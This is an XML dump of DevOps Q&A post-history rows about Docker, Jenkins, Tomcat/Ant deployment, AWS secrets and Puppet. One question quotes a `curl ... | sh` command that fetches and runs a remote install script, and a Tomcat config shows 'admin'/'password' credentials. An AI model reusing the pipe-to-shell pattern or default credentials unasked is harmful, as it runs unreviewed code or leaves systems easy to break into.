  <row Id="16415" PostHistoryTypeId="2" PostId="5192" RevisionGUID="6eb2bbc7-a58c-4ee7-9c66-8907e45a04bc" CreationDate="2018-10-16T14:26:12.403" UserId="10362" Text="I first installed docker in raspberry pi using: https://iotbytes.wordpress.com/setting-up-docker-on-raspberry-pi-and-running-hello-world-container/&#xD;&#xA;which successfully did.&#xD;&#xA;&#xD;&#xA;I tried doing the same with Raspbian VM but using `curl -sSL https://get.docker.com | sh` says **&quot;Unable to locate package docker -ce&quot;**&#xD;&#xA;Please help me with the detailed procedure.&#xD;&#xA;I am using Oracle Virtual Box (Linux 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08))" ContentLicense="CC BY-SA 4.0" />
  <row Id="16416" PostHistoryTypeId="1" PostId="5192" RevisionGUID="6eb2bbc7-a58c-4ee7-9c66-8907e45a04bc" CreationDate="2018-10-16T14:26:12.403" UserId="10362" Text="How to install docker in Raspbian Virtual Machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="16417" PostHistoryTypeId="3" PostId="5192" RevisionGUID="6eb2bbc7-a58c-4ee7-9c66-8907e45a04bc" CreationDate="2018-10-16T14:26:12.403" UserId="10362" Text="&lt;docker&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16418" PostHistoryTypeId="5" PostId="5189" RevisionGUID="ef610827-5e11-46cd-8cbc-621931fb9692" CreationDate="2018-10-16T15:17:53.797" UserId="7370" Comment="deleted 11 characters in body; edited body" Text="    pipeline{&#xA;    agent any &#xA;    stages{ &#xA;      stage(“Tests”) {&#xA;                 when { expression { branch==“master”} }&#xA;                  steps { echo “FUT”}&#xA;    }&#xA;    }&#xA;    }&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="16419" PostHistoryTypeId="5" PostId="5188" RevisionGUID="23730682-0c01-48e4-b0b6-cad0a0a8ad4b" CreationDate="2018-10-16T18:17:38.127" UserId="7370" Comment="added 316 characters in body" Text="We currently use the Jenkins as our CI/CD server and we use docker in every stage of our CI/CD. &#xA;&#xA;Every time a change is pushed to a SCM, it is automatically built and deployed to production(cloud).&#xA;&#xA;The Jenkins library feature helps to keep all generic steps in a centralized library and reused by every pipeline.&#xA;&#xA;You can draw some inspiration from SAP S/4HANA cloud Sdk out of the box CI/CD. https://blogs.sap.com/2017/09/20/continuous-integration-and-delivery/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16423" PostHistoryTypeId="2" PostId="5194" RevisionGUID="a39cbaa5-a2c7-48f6-8a79-54e1013bb8c0" CreationDate="2018-10-16T21:41:44.447" UserId="9288" Text="If you are on win 7, you cannot use the current &quot;docker for windows&quot;, which only works for win10 pro and server 2016.&#xD;&#xA;&#xD;&#xA;Your only solution is to use the Docker Toolbox https://docs.docker.com/toolbox/overview/.  Incidentally you must use it with Oracle's VirtualBox.  But you don't need any virtual machine to make this work." ContentLicense="CC BY-SA 4.0" />
  <row Id="16424" PostHistoryTypeId="50" PostId="3916" RevisionGUID="f35fe885-4691-40f0-a0ca-4612e68cfb94" CreationDate="2018-10-16T22:00:28.343" UserId="-1" />
  <row Id="16425" PostHistoryTypeId="50" PostId="4176" RevisionGUID="f5d8a4ea-b002-4a00-a99f-8395e26afee1" CreationDate="2018-10-16T23:00:27.473" UserId="-1" />
  <row Id="16426" PostHistoryTypeId="2" PostId="5195" RevisionGUID="5ebfdc6e-b90e-415f-839e-f05456ea1126" CreationDate="2018-10-17T00:00:57.627" UserId="8800" Text="Sure you can have a look at the JSON policy documents. On that page that you link to ([AWS Managed Policies for Job Functions][1]) click the Policy you're interested in *while being logged to your AWS account* and it will take you to the policy definition. &#xD;&#xA;&#xD;&#xA;E.g. if you click to [**AdministratorAccess**][2] it will open the *IAM Policies* page and show you the JSON:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html&#xD;&#xA;  [2]: https://console.aws.amazon.com/iam/home#policies/arn:aws:iam::aws:policy/AdministratorAccess&#xD;&#xA;  [3]: https://i.stack.imgur.com/gYrA4.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="16427" PostHistoryTypeId="50" PostId="1821" RevisionGUID="fe3ba682-bd76-4c79-93cf-4496204cffd9" CreationDate="2018-10-17T07:00:31.553" UserId="-1" />
  <row Id="16428" PostHistoryTypeId="2" PostId="5196" RevisionGUID="ab3b4e78-d958-4583-8293-d0a9c83d32c5" CreationDate="2018-10-17T10:41:54.927" UserId="707" Text="While for Debian you find on Docker Hub &quot;slim&quot; distributions, it seems not the case with Ubuntu.&#xD;&#xA;&#xD;&#xA;Now there is a &quot;[minimal Ubuntu for public clouds][1]&quot; distro from Canonical, but I can find just cloud VM images; is there a Dockerfile for that, as well?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud-images.ubuntu.com/minimal/releases/bionic/release-20180814/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16429" PostHistoryTypeId="1" PostId="5196" RevisionGUID="ab3b4e78-d958-4583-8293-d0a9c83d32c5" CreationDate="2018-10-17T10:41:54.927" UserId="707" Text="Availability/Reproducibility of Ubuntu Minimal as Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="16430" PostHistoryTypeId="3" PostId="5196" RevisionGUID="ab3b4e78-d958-4583-8293-d0a9c83d32c5" CreationDate="2018-10-17T10:41:54.927" UserId="707" Text="&lt;linux&gt;&lt;dockerfile&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16431" PostHistoryTypeId="2" PostId="5197" RevisionGUID="6bf76424-d7d8-4b54-baf8-c9608ab682f2" CreationDate="2018-10-17T11:21:37.867" UserId="10381" Text="I am using Ant to deploy a war to a Tomcat server, but it gives me the following error:&#xD;&#xA;&#xD;&#xA;	    BUILD FAILED&#xD;&#xA;	    /home/deploy/Documents/Work/Deploy_Wars/xrepo/deployment/build.xml:37: The following error occurred while executing this line:&#xD;&#xA;	    /home/deploy/Documents/Work/Deploy_Wars/xrepo/deployment/ant_scripts/deploy_wars.xml:36: The following error occurred while executing this line:&#xD;&#xA;	    /home/deploy/Documents/Work/Deploy_Wars/xrepo/deployment/ant_scripts/deploy_wars.xml:42: java.io.IOException: Error writing to server&#xD;&#xA;		    at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:699)&#xD;&#xA;		    at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:711)&#xD;&#xA;		    at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1585)&#xD;&#xA;		    at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1492)&#xD;&#xA;		    at org.apache.catalina.ant.AbstractCatalinaTask.execute(AbstractCatalinaTask.java:223)&#xD;&#xA;		    at org.apache.catalina.ant.DeployTask.execute(DeployTask.java:201)&#xD;&#xA;		    at org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:292)&#xD;&#xA;		    at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)&#xD;&#xA;		    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;		    at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;		    at org.apache.tools.ant.dispatch.DispatchUtils.execute(DispatchUtils.java:106)&#xD;&#xA;		    at org.apache.tools.ant.Task.perform(Task.java:350)&#xD;&#xA;		    at org.apache.tools.ant.Target.execute(Target.java:448)&#xD;&#xA;		    at org.apache.tools.ant.Target.performTasks(Target.java:469)&#xD;&#xA;		    at org.apache.tools.ant.Project.executeSortedTargets(Project.java:1399)&#xD;&#xA;		    at org.apache.tools.ant.helper.SingleCheckExecutor.executeTargets(SingleCheckExecutor.java:36)&#xD;&#xA;		    at org.apache.tools.ant.Project.executeTargets(Project.java:1260)&#xD;&#xA;		    at org.apache.tools.ant.taskdefs.Ant.execute(Ant.java:446)&#xD;&#xA;		    at org.apache.tools.ant.taskdefs.CallTarget.execute(CallTarget.java:105)&#xD;&#xA;		    at org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:292)&#xD;&#xA;		    at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)&#xD;&#xA;&#xD;&#xA;Here is the Ant target that I use for this deployment (and here is the line where the exception is thrown):&#xD;&#xA;&#xD;&#xA;	    &lt;target name=&quot;deploy-debug&quot; description=&quot;Install DEBUG&quot;&gt;&#xD;&#xA;            &lt;deploy url=&quot;http://debug.webiste.ro:8180/manager&quot; username=&quot;admin&quot; password=&quot;password&quot;&#xD;&#xA;                    path=&quot;/debug-war&quot; war=&quot;wars/debug-war.war&quot;/&gt;&#xD;&#xA;        &lt;/target&gt;&#xD;&#xA;&#xD;&#xA;I am using Tomcat 9.0.10 and Ant 1.10.3 on Ubuntu 18.04.&#xD;&#xA;&#xD;&#xA;I saw some people suggesting that the tomcat user is not properly defined in tomcat_users.xml. I have modified it, but it still gives me the exception when I try to deploy. I can succsefully login on the Tomcat manager app in the browser. Here is my tomcat_users.xml:&#xD;&#xA;&#xD;&#xA;    	&lt;tomcat-users xmlns=&quot;http://tomcat.apache.org/xml&quot;&#xD;&#xA;              xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;              xsi:schemaLocation=&quot;http://tomcat.apache.org/xml tomcat-users.xsd&quot;&#xD;&#xA;              version=&quot;1.0&quot;&gt;&#xD;&#xA;              &lt;role rolename=&quot;tomcat&quot;/&gt;&#xD;&#xA;              &lt;role rolename=&quot;manager-script&quot;/&gt;&#xD;&#xA;              &lt;role rolename=&quot;manager-gui&quot;/&gt;&#xD;&#xA;              &lt;role rolename=&quot;admin-gui&quot;/&gt;&#xD;&#xA;              &lt;role rolename=&quot;admin-script&quot;/&gt;&#xD;&#xA;              &lt;user username=&quot;admin&quot; password=&quot;password&quot; roles=&quot;manager-gui,manager-script,admin-gui,admin-script&quot;/&gt;&#xD;&#xA;        &lt;/tomcat-users&gt;&#xD;&#xA;&#xD;&#xA;The war file that I am trying to deploy has 80 Mb which is bigger than the default maximum upload value of Tomcat (50 Mb). I have tried increasing the maximum upload value to 100 Mb but it still gives me the Exception.&#xD;&#xA;&#xD;&#xA;Any ideas on this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16432" PostHistoryTypeId="1" PostId="5197" RevisionGUID="6bf76424-d7d8-4b54-baf8-c9608ab682f2" CreationDate="2018-10-17T11:21:37.867" UserId="10381" Text="Tomcat deploy war with Ant - error writing to server" ContentLicense="CC BY-SA 4.0" />
  <row Id="16433" PostHistoryTypeId="3" PostId="5197" RevisionGUID="6bf76424-d7d8-4b54-baf8-c9608ab682f2" CreationDate="2018-10-17T11:21:37.867" UserId="10381" Text="&lt;deployment&gt;&lt;tomcat&gt;&lt;ant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16434" PostHistoryTypeId="2" PostId="5198" RevisionGUID="18172271-e4a7-41b2-995c-c50709929a87" CreationDate="2018-10-17T15:13:46.263" UserId="8208" Text="I have a vagrant box, provisioned with Ansible that needs testing on github pull requests. Is it possible to setup CI test suite for the mirror in gitlab-ci without extra expenses on droplets? Or maybe this is something that could be possible with upcoming `automation` on github? Big fan of `travis` but looks like they not going to support virtualbox deployment in their containers anytime [soon][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/travis-ci/travis-ci/issues/6060#issuecomment-221395944" ContentLicense="CC BY-SA 4.0" />
  <row Id="16435" PostHistoryTypeId="1" PostId="5198" RevisionGUID="18172271-e4a7-41b2-995c-c50709929a87" CreationDate="2018-10-17T15:13:46.263" UserId="8208" Text="vagrant box tests in gitlab-ci" ContentLicense="CC BY-SA 4.0" />
  <row Id="16436" PostHistoryTypeId="3" PostId="5198" RevisionGUID="18172271-e4a7-41b2-995c-c50709929a87" CreationDate="2018-10-17T15:13:46.263" UserId="8208" Text="&lt;ansible&gt;&lt;gitlab&gt;&lt;github&gt;&lt;vagrant&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16437" PostHistoryTypeId="2" PostId="5199" RevisionGUID="b61c67e3-0064-4415-8c77-65818607d5d7" CreationDate="2018-10-17T15:50:18.913" UserId="4328" Text="As far as I'm aware. There is no way to encrypt the environment variable value in the variables section of the lambda function. And to be fair, even if there was, it wouldn't provide any benefit in terms of keeping the variable secret. If the variable could be hidden/encrypted in the variables sections to be decrypted later, a user could simply execute the lambda function and print the results of the decrypted variable to stdout. &#xD;&#xA;&#xD;&#xA;One approach could be to use [aws secrets manager][1] to store and retrieve your secrets. You can then assign your lambda function a role to allow access to the secret store, and use [AWS SDK][2] to retrieve your value. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/secrets-manager/&#xD;&#xA;  [2]: https://aws.amazon.com/sdk-for-node-js/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16439" PostHistoryTypeId="2" PostId="5200" RevisionGUID="820d439f-503b-4e44-91d6-d08fe417381a" CreationDate="2018-10-17T20:43:58.380" UserId="9992" Text="I didn't find anything that was exactly what I was looking for; simple zip/tar and even dpkg didn't have the traceability I was hoping for in a binary-artifact system, so I wrote my own: see https://github.com/garyo/binary-artifact (MIT licensed).&#xD;&#xA;&#xD;&#xA;It's basically a glorified tar/zip creator that creates a manifest with a content signature and a well-defined file name that includes the content sig, so the artifact can be specified in a build file (e.g. Ansible/Puppet/Chef/SCons) in a repeatable, traceable way.&#xD;&#xA;&#xD;&#xA;This way the artifacts can live anywhere the build system can find them (Google drive, Dropbox, local NAS, whatever), download them knowing exactly which version is being downloaded (thanks to the specific name), and unpack and use them as usual. This tool makes no assumptions about where the artifacts get stored." ContentLicense="CC BY-SA 4.0" />
  <row Id="16440" PostHistoryTypeId="2" PostId="5201" RevisionGUID="64af7abc-4c4a-4436-8417-ba18ea15a8f2" CreationDate="2018-10-17T21:48:15.480" UserId="9838" Text="It could be disk space, or hot deploy. For hot deploy, you can put the following parameters:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &lt;target name=&quot;tomcat-stop&quot;&gt;&#xD;&#xA;        &lt;exec executable=&quot;${server.home}/bin/catalina.bat&quot;&gt;&#xD;&#xA;            &lt;arg value=&quot;stop&quot;/&gt;&#xD;&#xA;        &lt;/exec&gt;&#xD;&#xA;    &lt;/target&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;target name=&quot;tomcat-start&quot;&gt;&#xD;&#xA;        &lt;exec executable=&quot;${server.home}/bin/startup.bat&quot;&gt;&#xD;&#xA;            &lt;arg value=&quot;start&quot;/&gt;&#xD;&#xA;        &lt;/exec&gt;&#xD;&#xA;    &lt;/target&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;target name=&quot;all&quot; depends=&quot;tomcat-stop,clean,init,compile,junit-slow,make_war,deploy,tomcat-start&quot;&gt;&lt;/target&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The answer is at this link: [https://stackoverflow.com/a/32482795/8442153][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/32482795/8442153" ContentLicense="CC BY-SA 4.0" />
  <row Id="16441" PostHistoryTypeId="50" PostId="4386" RevisionGUID="3958548a-d83a-4909-9bac-93fc8dc11252" CreationDate="2018-10-17T22:00:08.077" UserId="-1" />
  <row Id="16442" PostHistoryTypeId="2" PostId="5202" RevisionGUID="5de0ef09-2610-42a1-b1c3-62defa45f4c8" CreationDate="2018-10-17T22:03:17.873" UserId="9838" Text="You can do via docker, since it's a test.&#xD;&#xA;Here is an example repository, both docker and vagrant.&#xD;&#xA;[https://github.com/jonashackt/gitlab-ci-stack][1]&#xD;&#xA;[https://blog.codecentric.de/en/2018/05/gitlab-ci-pipeline/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jonashackt/gitlab-ci-stack&#xD;&#xA;  [2]: https://blog.codecentric.de/en/2018/05/gitlab-ci-pipeline/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16443" PostHistoryTypeId="2" PostId="5203" RevisionGUID="b7855c03-6d54-4085-8b2a-29c904d652a3" CreationDate="2018-10-17T22:14:31.483" UserId="4328" Text="I have a declarative jenkins pipeline that looks like the following:&#xD;&#xA;&#xD;&#xA;    pipeline{&#xD;&#xA;        agent {&#xD;&#xA;            ...&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;Provision EC2 Instance and Set ENV Variable&quot;){&#xD;&#xA;                steps {&#xD;&#xA;                    dir(&quot;docker-image-builder&quot;){ &#xD;&#xA;                        sh 'python ./provisonInstance.py'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage(&quot;Configure EC2 Instance with Ansible&quot;){&#xD;&#xA;                steps { &#xD;&#xA;                    ansiblePlaybook('./ansible.playbook.yml') {&#xD;&#xA;                        ansibleName('1.9.4')&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In my first stage, I have a python script that provisions an EC2 instance that will be used to create an AMI. In the second stage, I will then configure configure my instance before finally creating an AMI and terminating the instance. In order to do this, I need the instance-id of the EC2 instance created in the first stage. **Is there an elegant way to pass values generated by a script between stages, and if so how?** &#xD;&#xA;&#xD;&#xA;The most obvious method that I can think of is to write the value to a file on the agent in the first state, and read it in the second stage, but this does not seem like an elegant solution. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16444" PostHistoryTypeId="1" PostId="5203" RevisionGUID="b7855c03-6d54-4085-8b2a-29c904d652a3" CreationDate="2018-10-17T22:14:31.483" UserId="4328" Text="Passing variables between scripts in a Jenkins Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="16445" PostHistoryTypeId="3" PostId="5203" RevisionGUID="b7855c03-6d54-4085-8b2a-29c904d652a3" CreationDate="2018-10-17T22:14:31.483" UserId="4328" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;jenkins-pipeline&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16446" PostHistoryTypeId="50" PostId="4996" RevisionGUID="bdfa2c19-f74c-429d-a02a-cc14e96fec45" CreationDate="2018-10-18T00:00:22.993" UserId="-1" />
  <row Id="16450" PostHistoryTypeId="2" PostId="5205" RevisionGUID="3cf87182-ab20-4faf-9199-c34f450f14d9" CreationDate="2018-10-18T02:20:17.953" UserId="10393" Text="I know how to notify build status using the slack notification plugin. I can see`project - #buildnumber Success after 1 min 18 sec (Open)` in my slack channel. But I want the console output to be sent to slack as well (upon failure) instead of a link. I am using free style project since I need some scripts to build my project. The purpose is that I want engineers to know the result of their build without granting them Jenkins access." ContentLicense="CC BY-SA 4.0" />
  <row Id="16451" PostHistoryTypeId="1" PostId="5205" RevisionGUID="3cf87182-ab20-4faf-9199-c34f450f14d9" CreationDate="2018-10-18T02:20:17.953" UserId="10393" Text="post jenkins build console output to slack" ContentLicense="CC BY-SA 4.0" />
  <row Id="16452" PostHistoryTypeId="3" PostId="5205" RevisionGUID="3cf87182-ab20-4faf-9199-c34f450f14d9" CreationDate="2018-10-18T02:20:17.953" UserId="10393" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16457" PostHistoryTypeId="6" PostId="5051" RevisionGUID="efc8ff91-6f0f-4d15-8257-30ef113a7978" CreationDate="2018-10-18T07:19:11.040" UserId="7467" Comment="Improve tags" Text="&lt;artifacts&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16458" PostHistoryTypeId="24" PostId="5051" RevisionGUID="efc8ff91-6f0f-4d15-8257-30ef113a7978" CreationDate="2018-10-18T07:19:11.040" Comment="Proposed by 7467 approved by -1 edit id of 810" ContentLicense="CC BY-SA 4.0" />
  <row Id="16459" PostHistoryTypeId="5" PostId="5051" RevisionGUID="cceb9d72-a7aa-45e5-9441-a5d33ce2b6e3" CreationDate="2018-10-18T07:19:11.040" UserId="40" Comment="deleted 8 characters in body" Text="I'm looking for a binary-artifact repository, but everything I see is super complicated, to set up, use, and manage. All I'm looking for is:&#xD;&#xA;&#xD;&#xA; * upload repos as tgz/zip with metadata (name, date, tag)&#xD;&#xA; * query and download by SHA and/or name&#xD;&#xA; * a local tool (python-based?) to help create repos from a subdir with the proper metadata and signature&#xD;&#xA;&#xD;&#xA;Even a web-based portal is almost more than what I need (sure, it would be nice.)&#xD;&#xA;Doesn't seem like it should require all the infrastructure and complexity of archiva, artifactory, etc. Or maybe some of these tools have a simple mode and I just can't find it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16460" PostHistoryTypeId="2" PostId="5206" RevisionGUID="2d0b1dfe-9d31-45aa-8480-457cfd4696bf" CreationDate="2018-10-18T07:57:03.817" UserId="354" Text="You probably want the console output to be posted as an attachment, not a message, to slack. The [post to slack](https://github.com/jenkinsci/slack-uploader-plugin) plugin might be what you are looking for.&#xD;&#xA;&#xD;&#xA;The other thing you could do is create a part of the freestyle job that strips out what you want to a text file, and add that as part of the slack message attachment, in the slack plugin configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="16461" PostHistoryTypeId="50" PostId="4332" RevisionGUID="0246ed26-c232-4999-ab74-0e5875e7d422" CreationDate="2018-10-18T08:00:37.557" UserId="-1" />
  <row Id="16467" PostHistoryTypeId="2" PostId="5207" RevisionGUID="18c55e29-f2b9-4f96-96cb-aca971727849" CreationDate="2018-10-18T08:12:24.867" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16468" PostHistoryTypeId="1" PostId="5207" RevisionGUID="18c55e29-f2b9-4f96-96cb-aca971727849" CreationDate="2018-10-18T08:12:24.867" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16469" PostHistoryTypeId="2" PostId="5208" RevisionGUID="1f100a75-7bd3-465b-8968-9e92473f9f85" CreationDate="2018-10-18T08:12:24.867" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16470" PostHistoryTypeId="1" PostId="5208" RevisionGUID="1f100a75-7bd3-465b-8968-9e92473f9f85" CreationDate="2018-10-18T08:12:24.867" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16471" PostHistoryTypeId="6" PostId="3641" RevisionGUID="d64e899a-d453-4a90-91b5-7d96acc14e98" CreationDate="2018-10-18T08:13:49.920" UserId="40" Comment="edited tags" Text="&lt;docker&gt;&lt;continuous-deployment&gt;&lt;php&gt;&lt;drupal&gt;&lt;composer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16472" PostHistoryTypeId="6" PostId="4052" RevisionGUID="23fd47f2-2e31-42a2-a50a-9b29c4c881ec" CreationDate="2018-10-18T08:14:43.590" UserId="40" Comment="edited tags" Text="&lt;docker&gt;&lt;php&gt;&lt;redis&gt;&lt;composer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16473" PostHistoryTypeId="2" PostId="5209" RevisionGUID="1b104ca4-663a-4dad-bdba-860dd1aa5696" CreationDate="2018-10-18T08:23:15.367" UserId="7103" Text="Repeating my question from main SO here as even 0 comments there :)&#xD;&#xA;I'm trying to have my configs directory (on Windows server 2016 node) to be synced from puppet master (puppet --version = 5.5.3) modules folder: I have my desired structure repeated under module/files. This:&#xD;&#xA;&#xD;&#xA;file { &quot;c:\\&quot;:&#xD;&#xA;        ensure =&gt; directory,&#xD;&#xA;        recurse =&gt; remote,&#xD;&#xA;        source =&gt; &quot;puppet:///modules/configs&quot;&#xD;&#xA;        }&#xD;&#xA;works for files that exist in source dir, but does not delete files that are deleted from source (from docs I understood that it should) also I tried:&#xD;&#xA;&#xD;&#xA;file { &quot;c:\\&quot;:&#xD;&#xA;        ensure =&gt; directory,&#xD;&#xA;        recurse =&gt; true,&#xD;&#xA;        purge =&gt; true,&#xD;&#xA;        source =&gt; &quot;puppet:///modules/configs&quot;&#xD;&#xA;        }&#xD;&#xA;but then I get an error:&#xD;&#xA;&#xD;&#xA;Error: /Stage[main]/Main/Node[nodename]/File[c:\]: Failed to generate additional resources using 'eval_generate': CreateF&#xD;&#xA;ile(c:/Documents and Settings, 20000000000, 1, , 3, 210000000, 0):  Access is denied.&#xD;&#xA;was not able to find even descent source telling possible cause for the error; Access denied makes no sense as puppet agent runs with system privileges and should be able to access every path, also script should have nothing to do with c:/Documents and Settings path to my understanding. Any help to solve this appreciated, thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="16474" PostHistoryTypeId="1" PostId="5209" RevisionGUID="1b104ca4-663a-4dad-bdba-860dd1aa5696" CreationDate="2018-10-18T08:23:15.367" UserId="7103" Text="Puppet directory sync does not delete absent files" ContentLicense="CC BY-SA 4.0" />
  <row Id="16475" PostHistoryTypeId="3" PostId="5209" RevisionGUID="1b104ca4-663a-4dad-bdba-860dd1aa5696" CreationDate="2018-10-18T08:23:15.367" UserId="7103" Text="&lt;windows&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16476" PostHistoryTypeId="5" PostId="5209" RevisionGUID="99c7df73-5715-41c3-afaf-f341b2c62c27" CreationDate="2018-10-18T09:03:01.633" UserId="40" Comment="fix formatting" Text="Repeating [my question from SO.SE][1] here ...&#xD;&#xA;&#xD;&#xA;I'm trying to have my configs directory (on Windows server 2016 node) to be synced from puppet master (puppet --version = 5.5.3) modules folder: I have my desired structure repeated under module/files. This:&#xD;&#xA;&#xD;&#xA;    file { &quot;c:\\&quot;:&#xD;&#xA;            ensure =&gt; directory,&#xD;&#xA;            recurse =&gt; remote,&#xD;&#xA;            source =&gt; &quot;puppet:///modules/configs&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;works for files that exist in source dir, but does not delete files that are deleted from source (from docs I understood that it should) also I tried:&#xD;&#xA;&#xD;&#xA;    file { &quot;c:\\&quot;:&#xD;&#xA;            ensure =&gt; directory,&#xD;&#xA;            recurse =&gt; true,&#xD;&#xA;            purge =&gt; true,&#xD;&#xA;            source =&gt; &quot;puppet:///modules/configs&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;but then I get an error:&#xD;&#xA;&#xD;&#xA;&gt; Error: /Stage[main]/Main/Node[nodename]/File[c:\]: Failed to generate additional resources using 'eval_generate': CreateF&#xD;&#xA;ile(c:/Documents and Settings, 20000000000, 1, , 3, 210000000, 0):  Access is denied.&#xD;&#xA;&#xD;&#xA;I was not able to find even descent source telling possible cause for the error; Access denied makes no sense as puppet agent runs with system privileges and should be able to access every path, also script should have nothing to do with c:/Documents and Settings path to my understanding.&#xD;&#xA;&#xD;&#xA;Any help to solve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/52833285/4640431&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16478" PostHistoryTypeId="5" PostId="5147" RevisionGUID="67196c72-7ea4-4e9f-a138-d18ad41c03cc" CreationDate="2018-10-18T09:54:17.610" UserId="40" Comment="integrate comment from OPer" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). To manage multiple hypervisors we need to connect to the libvirt daemon remotely using [connection URI](https://libvirt.org/guide/html/Application_Development_Guide-Connections-URI_Formats.html). For KVM we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;[![IaaS on premises using libvirt qemu kvm][1]][1]&#xD;&#xA;&#xD;&#xA;On top of those VMs I want to run containers, so automatic setup of container orchestration cluster is desired. In addition, some way of attaching storage is desired. At least directly attached block devices or fs mounts.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Note: Found [a similar question on SO][2], but for Xen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KL1uW.jpg&#xD;&#xA;  [2]: https://stackoverflow.com/questions/3754392/" ContentLicense="CC BY-SA 4.0" />
